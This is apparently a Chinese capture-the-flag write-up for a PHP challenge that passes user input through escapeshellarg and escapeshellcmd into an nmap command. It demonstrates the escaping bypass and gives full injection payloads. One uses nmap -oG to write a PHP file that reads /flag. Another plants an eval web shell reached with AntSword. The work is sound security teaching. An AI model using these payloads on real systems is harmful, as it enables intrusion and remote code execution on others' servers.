就这一个题干就完了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }
if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
|
虽然代码看着少,但是别说知识点还挺多
1 2
| $host = escapeshellarg($host); $host = escapeshellcmd($host);
|
这两个看看官方文档(虽然已经见过很多次)
搞个demo
1 2 3 4 5 6 7
| <?php $s="ls"; $a=escapeshellarg($s); echo $a;
?>
|
1 2 3 4 5 6 7
| <?php $s='system("ls /")'; $a=escapeshellcmd($s); echo $a;
?>
|
那么两层搞一起怎么绕过呢,继续尝试
1 2 3 4 5 6 7
| <?php $s=$_GET['s']; $a=escapeshellarg($s); echo $a."\n"; $a=escapeshellcmd($a); echo $a; ?>
|
此时如果我们输入
1 2 3 4 5 6 7 8 9 10
| 192.168.125.111' -v -d a=1 经过escapeshellarg,第一步先把单引号转义了 192.168.125.111\' -v -d a=1 第二步把两端用单引号括起来 '192.168.125.111'\'' -v -d a=1' 经过escapeshellcmd,发现有不配对的单引号以及反斜杠,直接再次转义,在反斜杠前面加个反斜杠,还有最后面的引号加一个反斜杠 '192.168.125.111'\\'' -v -d a=1\' 最后nmap的命令和curl在这里执行效果相同就是相当于执行的是 curl '192.168.125.111'\\'' -v -d a=1\' curl 192.168.125.111\ -v -d a=1'
|
那么现在的结构拆开看就是
1 2 3 4 5
| '192.168.125.111' \\ '' -v -d a=1 \'
|
也就是说成功绕过了
nmap
有一个参数-oG
可以实现将命令和结果写到文件;
1 2 3 4 5
| ?host=' <?php echo `cat /flag`;?> -oG test.php '
'\'\'' <?php echo `cat /flag`;?> -oG test.php \'\'''
'\\'\\'' \<\?php echo \`cat /flag\`\;\?\> -oG test.php \\'\\'''
|
为什么要加空格呢,自己可以尝试一下
1 2
| ''\\''\<\?php echo \`cat /flag\`\;\?\> -oG test.php'\\''' 没有绕过成功
|
访问
1
| http://82cc99ec-83bd-4dd1-bced-48ec6c3f6ef7.node5.buuoj.cn:81/2abb2bb2253904d76af61419624c9ab9/test.php
|
拿到flag
那么当然也是可以getshell
的
1 2 3 4
| ?host=' <?php @eval($_POST[a]);?> -oG shell.php ' antsword链接即可 url:http://c40b5cbb-5223-4b8b-98b9-5ccc6a409430.node5.buuoj.cn:81/2abb2bb2253904d76af61419624c9ab9/shell.php password:a
|